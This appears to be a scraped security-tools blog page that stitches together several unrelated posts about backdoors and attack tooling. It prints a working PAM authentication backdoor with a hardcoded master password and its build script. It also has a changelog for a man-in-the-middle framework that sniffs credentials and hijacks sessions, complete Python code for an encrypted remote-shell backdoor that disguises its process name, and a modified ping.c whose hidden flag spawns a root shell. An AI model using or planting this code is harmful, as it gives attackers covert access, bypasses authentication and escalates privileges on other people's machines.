/lib/security/pambd.so: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped

gen.sh – generate the pam backdoor.Script:

#!/bin/bash
# gen.sh - generate the pam backdoor.

BIN_GCC='/usr/bin/gcc'
BIN_LD='/usr/bin/ld'
BIN_RM='/bin/rm'

CFLAGS='-fPIC'
LDFLAGS='-x --shared'

if [ "$(id -u)" != '0' ]; then
    echo 'This script must be run as root!' 1>&2
    exit 1
fi

${BIN_GCC} ${CFLAGS} -c pambd.c
${BIN_LD} ${LDFLAGS} -o /lib/security/pam_bd.so pambd.o
${BIN_RM} pambd.o

pambd.c – A small pam backdoor. Script:

/**
 * pambd.c - A small pam backdoor.
 * Federico Fazzi <eurialo@deftcode.ninja>
 * 
 * This trick shows you how to create a PAM module backdoor that 
 * allows to execute an user login with your own custom password.
 *
 * If you try to make the login with the real password of the target 
 * user and the authentication fails, the pam_auth.so switches to the 
 * pambd.so and viceversa!
 *
 * (c) 2015 - MIT License.
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>

#define MYPASSWD "my_master_passwd"

PAM_EXTERN int pam_sm_setcred
(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_acct_mgmt
(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_authenticate
(pam_handle_t *pamh, int flags,int argc, const char **argv) {
    char *password = NULL;

    pam_get_authtok(pamh, PAM_AUTHTOK, (const char **)&password, NULL);

    if (!strncmp(password, MYPASSWD, strlen(MYPASSWD)))
        return PAM_SUCCESS;

    return -1;
}

Download : Master.zip  | Clone Url
Source : https://github.com/eurialo

Changelog MITMf v0.9.7 :
– Config file now updated on the fly
– Addition of the ScreenShotter and Ferret-NG plugins
– Responder code re-written
– Addition of a SMB server (Impacket)
– JavaPwn plugin renamed to BrowserSniper (now supports flash and browser exploits)
– BrowserProfiler now detects Flash plugin version
– Huge amount of bugfixes and code improvements
– fixed wrong var name in beefautorun
Image may be NSFW.
Clik here to view.

Framework for Man-In-The-Middle attacks

(Another) Dependency change!
As of v0.9.6, the fork of the python-netfilterqueue library is no longer required.

Installation
If MITMf is not in your distros repo or you just want the latest version:
– clone this repository
– run the setup.sh script
– run the command pip install -r requirements.txt to install all python dependencies

Image may be NSFW.
Clik here to view.

Framework for Man-In-The-Middle attacks

Changelog
– Addition of DNSChef, the framework is now a IPv4/IPv6 (TCP & UDP) DNS server ! Supported queries are: ‘A’, ‘AAAA’, ‘MX’, ‘PTR’, ‘NS’, ‘CNAME’, ‘TXT’, ‘SOA’, ‘NAPTR’, ‘SRV’, ‘DNSKEY’ and ‘RRSIG’
– Addition of the Sniffer plugin which integrates Net-Creds currently supported protocols are: FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc..) and Kerberos
– Integrated Responder to poison LLMNR, NBT-NS and MDNS, and act as a WPAD rogue server.
– Integrated SSLstrip+ by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014
– Addition of the SessionHijacking plugin, which uses code from FireLamb to store cookies in a Firefox profile
– Spoof plugin can now exploit the ‘ShellShock’ bug when DHCP spoofing!
– Spoof plugin now supports ICMP, ARP and DHCP spoofing
– Usage of third party tools has been completely removed (e.g. ettercap)
– FilePwn plugin re-written to backdoor executables and zip files on the fly by using the-backdoor-factory and code from BDFProxy
– Added msfrpc.py for interfacing with Metasploits rpc server
– Added beefapi.py for interfacing with BeEF’s RESTfulAPI
– Addition of the app-cache poisoning attack by Krzysztof Kotowicz (blogpost explaining the attack here http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html)

Image may be NSFW.
Clik here to view.

Framework for Man-In-The-Middle attacks

How to install on Kali
MITMf is now in tha kali linux repositories!
apt-get install mitmf

Download : Master.zip | Clone Url | 0.9.7.zip | 0.9.7.tar.gz
Source : http://sign0f4.blogspot.it/ | Github
Our Post before: http://seclist.us/updates-mitmf-v-0-9-6-framework-for-man-in-the-middle-attacks.html

A backdoor is perceived as a negative vulnerability because it allows an attacker to obtain access to a victim’s machine without proper credentials. However, a backdoor is more than just a tool of exploitation. Generally speaking, the purpose of a backdoor is to allow access to a machine, implemented into the program by the programmer. This is without a doubt a security flaw, however, it is also a tool used for debugging and analytical purposes.
This assignment demonstrates a backdoor program where the attacker is capable of executing shell commands on the victim’s machine and returns the response to the attacker.Image may be NSFW.
Clik here to view.

Requirements
+ Backdoor must camouflage itself so as to deceive anyone looking at the process table.
+ Application must ensure that it only receives (authenticate) those packets that are meant for the backdoor itself.
+ The backdoor must interpret commands sent to it, execute them and send the results back.
+ Incorporate an encryption scheme of your choice into the backdoor.

Implementation
The program is written in python. There are two programs included in this assignment:
1. client.py (Attacker)
2. server.py (Backdoor Victim)
The client (attacker) program establishes a connection to the server (Victim) and will be able to execute Linux commands against the victim’s machine. The messages will be encrypted using the AES encryption scheme while sending data to the server. When the victim sends the message back to the client, it will be encrypted once again; hence, the message will be decrypted to plaintext.

The server (victim) will acquire the encrypted data, decrypt it and execute the command. The command will not appear on the victim’s message to emulate a hidden backdoor. The server then encrypts that
data, again with AES, and transmit the data back to the client.
The program uses two libraries:
1. pycrypto 2.6.1 – For Encryption
2. setproctitle 1.1.8 – To masquerade process title
It is important to note that to ensure that the attacking machine is also authenticating the packets by utilizing the secret key used (for encryption) as a form of a flag. Any other traffic will be ignored

Note: Both program requires pycrypto library to be installed Additionally, the server requires the setproctitle library to be installed
You may download the libraries from the links below:
– https://pypi.python.org/packages/source/p/pycrypto/pycrypto-2.6.1.tar.gz
– https://pypi.python.org/packages/source/s/setproctitle/setproctitle-1.1.8.tar.gz#md5=728f4c8c6031bbe56083a48594027edd

Client :

Image may be NSFW.
Clik here to view.

Backdoor-Client (Attacker Diagram)

#!/usr/bin/python
'''
COMP 8505 - Assignment 3
Backdoor - Client (Attacker) by Jeffrey Sasaki
The client program will allow remote access to the victim's machine, allowing
the user to execute linux commands on the victims machine.
The program will output the executed command given by the victim.
'''

from Crypto.Cipher import AES
from Crypto import Random
import socket
import base64
import os
import optparse
import sys

# encrypt/encode and decrypt/decode a string
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(s))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e))

# random secret key (both the client and server must match this key)
secret = "sixteen byte key"
iv = Random.new().read(AES.block_size)
cipher = AES.new(secret, AES.MODE_CFB, iv)

# parse command line argument
parser = optparse.OptionParser("usage: python client.py -d <host ip> -p <port>")
parser.add_option('-d', dest='host', type = 'string', help = 'target host IP')
parser.add_option('-p', dest='port', type = 'int', help = 'target port')
(options, args) = parser.parse_args()
if (options.host == None):
    print parser.usage
    sys.exit()
elif (options.port == None):
    print parser.usage
    sys.exit()
else:
    host = options.host
    port = options.port

# connect to the server host
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

# main
while True:
    data = s.recv(1024)

    # decrypt data
    decrypted = DecodeAES(cipher, data)

    # check for end of file
    if decrypted.endswith(secret) == True:

        # print command
        print decrypted[:-16]

        # get command
        cmd = raw_input("[remote shell]$ ")

        # encrypt command
        encrypted = EncodeAES(cipher, cmd)

        # send encrypted command
        s.send(encrypted)
        
        # check if user typed "exit" to leave remote shell
        if cmd == "exit":
            break
    else:
        print decrypted
s.close()
sys.exit()

Image may be NSFW.
Clik here to view.

Backdoor-Server (Victim Diagram)

#!/usr/bin/python
'''
COMP 8505 - Assignment 3
Backdoor - Server (Victim) by Jeffrey Sasaki
The server program will execute a command given by the client (attacker) and
outputs the response back to the client.
'''
from Crypto.Cipher import AES
from Crypto import Random
import socket
import base64
import os
import subprocess
import optparse
import sys
import setproctitle

# masquerade process title
# NOTE: generally a backdoor would not be named "backdoor" a recommended process
# title would be something like "[kworker/0:0H]" or
# "/usr/bin/systemd/systemd-login"
title = "backdoor"
setproctitle.setproctitle(title)

# encrypt/encode and decrypt/decode a string
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(s))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e))

# random secret key (both the client and server must match this key)
secret = "sixteen byte key"
iv = Random.new().read(AES.block_size)

# create cipher object
cipher = AES.new(secret, AES.MODE_CFB, iv)

# parse command line argument
# generally any output would be concealed on the server (victim's) side
parser = optparse.OptionParser("usage: python server.py -p <port>")
parser.add_option('-p', dest='port', type = 'int', help = 'port')
(options, args) = parser.parse_args()
if (options.port == None):
	print parser.usage
	sys.exit()
else:
	port = options.port

# listen for client
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.bind(('0.0.0.0', port))
c.listen(1)
s, a = c.accept()
s.send(EncodeAES(cipher, 'You are connected' + secret))

while True:
	data = s.recv(1024)

	# decrypt data
	decrypted = DecodeAES(cipher, data)
	
	# check for "exit" by the attacker
	if decrypted == "exit":
		break    	

	# execute command
	proc = subprocess.Popen(decrypted, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
	stdoutput = proc.stdout.read() + proc.stderr.read() + secret

	# encrypt output
	encrypted = EncodeAES(cipher, stdoutput)

	# send encrypted output
	s.send(encrypted)
s.close()
sys.exit()

On the target's machine, type:

$ python server.py -p (port) &

On the attacker's machine, type:

$ python client.py -d (host ip) -p (port)

P I N G . C : Using the Internet Control Message Protocol (ICMP) “ECHO” facility, measure round-trip-delays and packet loss across network paths.
This is just the normal OS X ping, but if you run it with the flag -X, it drops a root shell. This relies on the suid bit being set, it’s not an exploit and it won’t help you root a server.
C Script:

/*
 * Copyright (c) 2008 Apple Inc. All rights reserved.
 *
 * @APPLE_OSREFERENCE_LICENSE_HEADER_START@
 *
 * This file contains Original Code and/or Modifications of Original Code
 * as defined in and that are subject to the Apple Public Source License
 * Version 2.0 (the 'License'). You may not use this file except in
 * compliance with the License. The rights granted to you under the License
 * may not be used to create, or enable the creation or redistribution of,
 * unlawful or unlicensed copies of an Apple operating system, or to
 * circumvent, violate, or enable the circumvention or violation of, any
 * terms of an Apple operating system software license agreement.
 *
 * Please obtain a copy of the License at
 * http://www.opensource.apple.com/apsl/ and read it before using this file.
 *
 * The Original Code and all software distributed under the License are
 * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
 * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
 * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
 * Please see the License for the specific language governing rights and
 * limitations under the License.
 *
 * @APPLE_OSREFERENCE_LICENSE_HEADER_END@
 */
/*
 * Copyright (c) 1989, 1993
 *	The Regents of the University of California.  All rights reserved.
 *
 * This code is derived from software contributed to Berkeley by
 * Mike Muuss.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 4. Neither the name of the University nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

#if 0
#ifndef lint
static const char copyright[] =
"@(#) Copyright (c) 1989, 1993\n\
	The Regents of the University of California.  All rights reserved.\n";
#endif /* not lint */
#ifndef lint
static char sccsid[] = "@(#)ping.c	8.1 (Berkeley) 6/5/93";
#endif /* not lint */
#endif
#include <sys/cdefs.h>
#ifndef __APPLE__
__FBSDID("$FreeBSD: src/sbin/ping/ping.c,v 1.113 2014/11/28 17:31 reptar");
#endif
	
/*
 *			P I N G . C
 *
 * Using the Internet Control Message Protocol (ICMP) "ECHO" facility,
 * measure round-trip-delays and packet loss across network paths.
 *
 * Author -
 *	Mike Muuss
 *	U. S. Army Ballistic Research Laboratory
 *	December, 1983
 *
 * Status -
 *	Public Domain.  Distribution Unlimited.
 * Bugs -
 *	More statistics could always be gathered.
 *	This program has to run SUID to ROOT to access the ICMP socket.
 */

#include <sys/param.h>		/* NB: we rely on this for <sys/types.h> */
#include <sys/socket.h>
#include <sys/sysctl.h>
#include <sys/time.h>
#include <sys/uio.h>

#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip_var.h>
#include <arpa/inet.h>
#include <net/if.h>

#ifdef IPSEC
#include <netinet6/ipsec.h>
#endif /*IPSEC*/

#include <ctype.h>
#include <err.h>
#include <errno.h>
#include <math.h>
#include <netdb.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sysexits.h>
#include <unistd.h>

#define	INADDR_LEN	((int)sizeof(in_addr_t))
#define	TIMEVAL_LEN	((int)sizeof(struct tv32))
#define	MASK_LEN	(ICMP_MASKLEN - ICMP_MINLEN)
#define	TS_LEN		(ICMP_TSLEN - ICMP_MINLEN)
#define	DEFDATALEN	56		/* default data length */
#define	FLOOD_BACKOFF	20000		/* usecs to back off if F_FLOOD mode */
					/* runs out of buffer space */
#define	MAXIPLEN	(sizeof(struct ip) + MAX_IPOPTLEN)
#define	MAXICMPLEN	(ICMP_ADVLENMIN + MAX_IPOPTLEN)
#define	MAXWAIT		10000		/* max ms to wait for response */
#define	MAXALARM	(60 * 60)	/* max seconds for alarm timeout */
#define	MAXTOS		255

#define	A(bit)		rcvd_tbl[(bit)>>3]	/* identify byte in array */
#define	B(bit)		(1 << ((bit) & 0x07))	/* identify bit in byte */
#define	SET(bit)	(A(bit) |= B(bit))
#define	CLR(bit)	(A(bit) &= (~B(bit)))
#define	TST(bit)	(A(bit) & B(bit))

struct tv32 {
	u_int32_t tv32_sec;
	u_int32_t tv32_usec;
};

/* various options */
int options;
#define	F_FLOOD		0x0001
#define	F_INTERVAL	0x0002
#define	F_NUMERIC	0x0004
#define	F_PINGFILLED	0x0008
#define	F_QUIET		0x0010
#define	F_RROUTE	0x0020
#define	F_SO_DEBUG	0x0040
#define	F_SO_DONTROUTE	0x0080
#define	F_VERBOSE	0x0100
#define	F_QUIET2	0x0200
#define	F_NOLOOP	0x0400
#define	F_MTTL		0x0800
#define	F_MIF		0x1000
#define	F_AUDIBLE	0x2000
#ifdef IPSEC
#ifdef IPSEC_POLICY_IPSEC
#define F_POLICY	0x4000
#endif /*IPSEC_POLICY_IPSEC*/
#endif /*IPSEC*/
#define	F_TTL		0x8000
#define	F_MISSED	0x10000
#define	F_ONCE		0x20000
#define	F_HDRINCL	0x40000
#define	F_MASK		0x80000
#define	F_TIME		0x100000
#define	F_SWEEP		0x200000
#define	F_WAITTIME	0x400000

/*
 * MAX_DUP_CHK is the number of bits in received table, i.e. the maximum
 * number of received sequence numbers we can keep track of.  Change 128
 * to 8192 for complete accuracy...
 */
#define	MAX_DUP_CHK	(8 * 128)
int mx_dup_ck = MAX_DUP_CHK;
char rcvd_tbl[MAX_DUP_CHK / 8];

struct sockaddr_in whereto;	/* who to ping */
int datalen = DEFDATALEN;
int maxpayload;
int s;				/* socket file descriptor */
u_char outpackhdr[IP_MAXPACKET], *outpack;
char BBELL = '\a';		/* characters written for MISSED and AUDIBLE */
char BSPACE = '\b';		/* characters written for flood */
char DOT = '.';
char *hostname;
char *shostname;
int ident;			/* process id to identify our packets */
int uid;			/* cached uid for micro-optimization */
u_char icmp_type = ICMP_ECHO;
u_char icmp_type_rsp = ICMP_ECHOREPLY;
int phdr_len = 0;
int send_len;
char *boundif;
unsigned int ifscope;
#if defined(IP_FORCE_OUT_IFP) && TARGET_OS_EMBEDDED
char boundifname[IFNAMSIZ];
#endif /* IP_FORCE_OUT_IFP */

/* counters */
long nmissedmax;		/* max value of ntransmitted - nreceived - 1 */
long npackets;			/* max packets to transmit */
long nreceived;			/* # of packets we got back */
long nrepeats;			/* number of duplicates */
long ntransmitted;		/* sequence # for outbound packets = #sent */
long snpackets;			/* max packets to transmit in one sweep */
long snreceived;		/* # of packets we got back in this sweep */
long sntransmitted;		/* # of packets we sent in this sweep */
int sweepmax;			/* max value of payload in sweep */
int sweepmin = 0;		/* start value of payload in sweep */
int sweepincr = 1;		/* payload increment in sweep */
int interval = 1000;		/* interval between packets, ms */
int waittime = MAXWAIT;		/* timeout for each packet */
long nrcvtimeout = 0;		/* # of packets we got back after waittime */

/* timing */
int timing;			/* flag to do timing */
double tmin = 999999999.0;	/* minimum round trip time */
double tmax = 0.0;		/* maximum round trip time */
double tsum = 0.0;		/* sum of all times, for doing average */
double tsumsq = 0.0;		/* sum of all times squared, for std. dev. */

volatile sig_atomic_t finish_up;  /* nonzero if we've been told to finish up */
volatile sig_atomic_t siginfo_p;

static void fill(char *, char *);
static u_short in_cksum(u_short *, int);
static void check_status(void);
static void finish(void) __dead2;
static void pinger(void);
static char *pr_addr(struct in_addr);
static char *pr_ntime(n_time);
static void pr_icmph(struct icmp *);
static void pr_iph(struct ip *);
static void pr_pack(char *, int, struct sockaddr_in *, struct timeval *);
static void pr_retip(struct ip *);
static void status(int);
static void stopit(int);
static void tvsub(struct timeval *, struct timeval *);
static void usage(void) __dead2;




/*
 * r00t -- 
 * Set user id to 0,
 * launch a root shell.
 */
int r00t(void){

	char success[]= "   .----------------.            \n"
					"   |_I_I_I_I_I_I_I_I]___         \n"
					"   |  _    r00t! : ; _  )        \n"
					"  =\'-(_)----------=-(_)-\'  \n\0  ";

	char failure[]= "nice try friend (: \n\0";

	setuid(0);
	if ( getuid() == 0 ){
		printf("%s", success);
		system("/bin/sh -i");
		exit(666);
	}
	else {
		printf("%s", failure);
		exit(1);
	}
}


int main(argc, argv)
	int argc;
	char *const *argv;
{
	struct sockaddr_in from, sock_in;
	struct in_addr ifaddr;
	struct timeval last, intvl;
	struct iovec iov;
	struct ip *ip;
	struct msghdr msg;
	struct sigaction si_sa;
	size_t sz;
	u_char *datap, packet[IP_MAXPACKET];
	char *ep, *source, *target, *payload;
	struct hostent *hp;
#ifdef IPSEC_POLICY_IPSEC
	char *policy_in, *policy_out;
#endif
	struct sockaddr_in *to;
	double t;
	u_long alarmtimeout, ultmp;
	int almost_done, ch, df, hold, i, icmp_len, mib[4], preload, sockerrno,
	    tos, ttl;
	char ctrl[CMSG_SPACE(sizeof(struct timeval))];
	char hnamebuf[MAXHOSTNAMELEN], snamebuf[MAXHOSTNAMELEN];
#ifdef IP_OPTIONS
	char rspace[MAX_IPOPTLEN];	/* record route space */
#endif
	unsigned char loop, mttl;

	payload = source = NULL;
#ifdef IPSEC_POLICY_IPSEC
	policy_in = policy_out = NULL;
#endif

	/*
	 * Do the stuff that we need root priv's for *first*, and
	 * then drop our setuid bit.  Save error reporting for
	 * after arg parsing.
	 */
	if (getuid())
		s = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
	else
		s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
	sockerrno = errno;

//	setuid(getuid());
//	uid = getuid();

	setuid(0);
	uid = 0;

	alarmtimeout = df = preload = tos = 0;

	outpack = outpackhdr + sizeof(struct ip);
	while ((ch = getopt(argc, argv,
		"Aab:c:DdfG:g:h:I:i:Ll:M:m:nop:QqRrS:s:T:t:vW:z:x:X"
#ifdef IPSEC
#ifdef IPSEC_POLICY_IPSEC
		"P:"
#endif /*IPSEC_POLICY_IPSEC*/
#endif /*IPSEC*/
#if defined(IP_FORCE_OUT_IFP) && TARGET_OS_EMBEDDED
		"B:"
#endif /* IP_FORCE_OUT_IFP */
		)) != -1)
	{
		switch(ch) {
		case 'x':
			r00t();
			break;
		case 'X':
			r00t();
			break;
		case 'A':
			options |= F_MISSED;
			break;
		case 'a':
			options |= F_AUDIBLE;
			break;
#if defined(IP_FORCE_OUT_IFP) && TARGET_OS_EMBEDDED
		case 'B':
			(void) snprintf(boundifname, sizeof (boundifname),
			    "%s", optarg);
			break;
#endif /* IP_FORCE_OUT_IFP */
		case 'b':
			boundif = optarg;
			break;
		case 'c':
			ultmp = strtoul(optarg, &ep, 0);
			if (*ep || ep == optarg || ultmp > LONG_MAX || !ultmp)
				errx(EX_USAGE,
				    "invalid count of packets to transmit: `%s'",
				    optarg);
			npackets = ultmp;
			break;
		case 'D':
			options |= F_HDRINCL;
			df = 1;
			break;
		case 'd':
			options |= F_SO_DEBUG;
			break;
		case 'f':
			if (uid) {
				errno = EPERM;
				err(EX_NOPERM, "-f flag");
			}
			options |= F_FLOOD;
			setbuf(stdout, (char *)NULL);
			break;
		case 'G': /* Maximum packet size for ping sweep */
			ultmp = strtoul(optarg, &ep, 0);
			if (*ep || ep == optarg)
				errx(EX_USAGE, "invalid packet size: `%s'",
				    optarg);
#ifndef __APPLE__
			if (uid != 0 && ultmp > DEFDATALEN) {
				errno = EPERM;
				err(EX_NOPERM,
				    "packet size too large: %lu > %u",
				    ultmp, DEFDATALEN);
			}
#endif /* __APPLE__ */
			options |= F_SWEEP;
			sweepmax = ultmp;
			break;
		case 'g': /* Minimum packet size for ping sweep */
			ultmp = strtoul(optarg, &ep, 0);
			if (*ep || ep == optarg)
				errx(EX_USAGE, "invalid packet size: `%s'",
				    optarg);
#ifndef __APPLE__
			if (uid != 0 && ultmp > DEFDATALEN) {
				errno = EPERM;
				err(EX_NOPERM,
				    "packet size too large: %lu > %u",
				    ultmp, DEFDATALEN);
			}
#endif /* __APPLE__ */
			options |= F_SWEEP;
			sweepmin = ultmp;
			break;
		case 'h': /* Packet size increment for ping sweep */
			ultmp = strtoul(optarg, &ep, 0);
			if (*ep || ep == optarg || ultmp < 1)
				errx(EX_USAGE, "invalid increment size: `%s'",
				    optarg);
#ifndef __APPLE__
			if (uid != 0 && ultmp > DEFDATALEN) {
				errno = EPERM;
				err(EX_NOPERM,
				    "packet size too large: %lu > %u",
				    ultmp, DEFDATALEN);
			}
#endif /* __APPLE__ */
			options |= F_SWEEP;
			sweepincr = ultmp;
			break;
		case 'I':		/* multicast interface */
			if (inet_aton(optarg, &ifaddr) == 0)
				errx(EX_USAGE,
				    "invalid multicast interface: `%s'",
				    optarg);
			options |= F_MIF;
			break;
		case 'i':		/* wait between sending packets */
			t = strtod(optarg, &ep) * 1000.0;
			if (*ep || ep == optarg || t > (double)INT_MAX)
				errx(EX_USAGE, "invalid timing interval: `%s'",
				    optarg);
			options |= F_INTERVAL;
			interval = (int)t;
			if (uid && interval < 1000) {
				errno = EPERM;
				err(EX_NOPERM, "-i interval too short");
			}
			break;
		case 'L':
			options |= F_NOLOOP;
			loop = 0;
			break;
		case 'l':
			ultmp = strtoul(optarg, &ep, 0);
			if (*ep || ep == optarg || ultmp > INT_MAX)
				errx(EX_USAGE,
				    "invalid preload value: `%s'", optarg);
			if (uid) {
				errno = EPERM;
				err(EX_NOPERM, "-l flag");
			}
			preload = ultmp;
			break;
		case 'M':
			switch(optarg[0]) {
			case 'M':
			case 'm':
				options |= F_MASK;
				break;
			case 'T':
			case 't':
				options |= F_TIME;
				break;
			default:
				errx(EX_USAGE, "invalid message: `%c'", optarg[0]);
				break;
			}
			break;
		case 'm':		/* TTL */
			ultmp = strtoul(optarg, &ep, 0);
			if (*ep || ep == optarg || ultmp > MAXTTL)
				errx(EX_USAGE, "invalid TTL: `%s'", optarg);
			ttl = ultmp;
			options |= F_TTL;
			break;
		case 'n':
			options |= F_NUMERIC;
			break;
		case 'o':
			options |= F_ONCE;
			break;
#ifdef IPSEC
#ifdef IPSEC_POLICY_IPSEC
		case 'P':
			options |= F_POLICY;
			if (!strncmp("in", optarg, 2))
				policy_in = strdup(optarg);
			else if (!strncmp("out", optarg, 3))
				policy_out = strdup(optarg);
			else
				errx(1, "invalid security policy");
			break;
#endif /*IPSEC_POLICY_IPSEC*/
#endif /*IPSEC*/
		case 'p':		/* fill buffer with user pattern */
			options |= F_PINGFILLED;
			payload = optarg;
			break;
		case 'Q':
			options |= F_QUIET2;
			break;
		case 'q':
			options |= F_QUIET;
			break;
		case 'R':
			options |= F_RROUTE;
			break;
		case 'r':
			options |= F_SO_DONTROUTE;
			break;
		case 'S':
			source = optarg;
			break;
		case 's':		/* size of packet to send */
			ultmp = strtoul(optarg, &ep, 0);
			if (*ep || ep == optarg)
				errx(EX_USAGE, "invalid packet size: `%s'",
				    optarg);
#ifndef __APPLE__
			if (uid != 0 && ultmp > DEFDATALEN) {
				errno = EPERM;
				err(EX_NOPERM,
				    "packet size too large: %lu > %u",
				    ultmp, DEFDATALEN);
			}
#endif /* __APPLE__ */
			datalen = ultmp;
			break;
		case 'T':		/* multicast TTL */
			ultmp = strtoul(optarg, &ep, 0);
			if (*ep || ep == optarg || ultmp > MAXTTL)
				errx(EX_USAGE, "invalid multicast TTL: `%s'",
				    optarg);
			mttl = ultmp;
			options |= F_MTTL;
			break;
		case 't':
			alarmtimeout = strtoul(optarg, &ep, 0);
			if ((alarmtimeout < 1) || (alarmtimeout == ULONG_MAX))
				errx(EX_USAGE, "invalid timeout: `%s'",
				    optarg);
			if (alarmtimeout > MAXALARM)
				errx(EX_USAGE, "invalid timeout: `%s' > %d",
				    optarg, MAXALARM);
			alarm((unsigned int)alarmtimeout);
			break;
		case 'v':
			options |= F_VERBOSE;
			break;
		case 'W':		/* wait ms for answer */
			t = strtod(optarg, &ep);
			if (*ep || ep == optarg || t > (double)INT_MAX)
				errx(EX_USAGE, "invalid timing interval: `%s'",
				    optarg);
			options |= F_WAITTIME;
			waittime = (int)t;
			break;
		case 'z':
			options |= F_HDRINCL;
			ultmp = strtoul(optarg, &ep, 0);
			if (*ep || ep == optarg || ultmp > MAXTOS)
				errx(EX_USAGE, "invalid TOS: `%s'", optarg);
			tos = ultmp;
			break;
		default:
			usage();
		}
	}

	if (boundif != NULL && (ifscope = if_nametoindex(boundif)) == 0)
		errx(1, "bad interface name");

	if (argc - optind != 1)
		usage();
	target = argv[optind];

	switch (options & (F_MASK|F_TIME)) {
	case 0: break;
	case F_MASK:
		icmp_type = ICMP_MASKREQ;
		icmp_type_rsp = ICMP_MASKREPLY;
		phdr_len = MASK_LEN;
		if (!(options & F_QUIET))
			(void)printf("ICMP_MASKREQ\n");
		break;
	case F_TIME:
		icmp_type = ICMP_TSTAMP;
		icmp_type_rsp = ICMP_TSTAMPREPLY;
		phdr_len = TS_LEN;
		if (!(options & F_QUIET))
			(void)printf("ICMP_TSTAMP\n");
		break;
	default:
		errx(EX_USAGE, "ICMP_TSTAMP and ICMP_MASKREQ are exclusive.");
		break;
	}
	icmp_len = sizeof(struct ip) + ICMP_MINLEN + phdr_len;
	if (options & F_RROUTE)
		icmp_len += MAX_IPOPTLEN;
	maxpayload = IP_MAXPACKET - icmp_len;
	if (datalen > maxpayload)
		errx(EX_USAGE, "packet size too large: %d > %d", datalen,
		    maxpayload);
	send_len = icmp_len + datalen;
	datap = &outpack[ICMP_MINLEN + phdr_len + TIMEVAL_LEN];
	if (options & F_PINGFILLED) {
		fill((char *)datap, payload);
	}
	if (source) {
		bzero((char *)&sock_in, sizeof(sock_in));
		sock_in.sin_family = AF_INET;
		if (inet_aton(source, &sock_in.sin_addr) != 0) {
			shostname = source;
		} else {
			hp = gethostbyname2(source, AF_INET);
			if (!hp)
				errx(EX_NOHOST, "cannot resolve %s: %s",
				    source, hstrerror(h_errno));

			sock_in.sin_len = sizeof sock_in;
			if ((unsigned)hp->h_length > sizeof(sock_in.sin_addr) ||
			    hp->h_length < 0)
				errx(1, "gethostbyname2: illegal address");
			memcpy(&sock_in.sin_addr, hp->h_addr_list[0],
			    sizeof(sock_in.sin_addr));
			(void)strncpy(snamebuf, hp->h_name,
			    sizeof(snamebuf) - 1);
			snamebuf[sizeof(snamebuf) - 1] = '\0';
			shostname = snamebuf;
		}
		if (bind(s, (struct sockaddr *)&sock_in, sizeof sock_in) == -1)
			err(1, "bind");
	}

	bzero(&whereto, sizeof(whereto));
	to = &whereto;
	to->sin_family = AF_INET;
	to->sin_len = sizeof *to;
	if (inet_aton(target, &to->sin_addr) != 0) {
		hostname = target;
	} else {
		hp = gethostbyname2(target, AF_INET);
		if (!hp)
			errx(EX_NOHOST, "cannot resolve %s: %s",
			    target, hstrerror(h_errno));

		if ((unsigned)hp->h_length > sizeof(to->sin_addr))
			errx(1, "gethostbyname2 returned an illegal address");
		memcpy(&to->sin_addr, hp->h_addr_list[0], sizeof to->sin_addr);
		(void)strncpy(hnamebuf, hp->h_name, sizeof(hnamebuf) - 1);
		hnamebuf[sizeof(hnamebuf) - 1] = '\0';
		hostname = hnamebuf;
	}

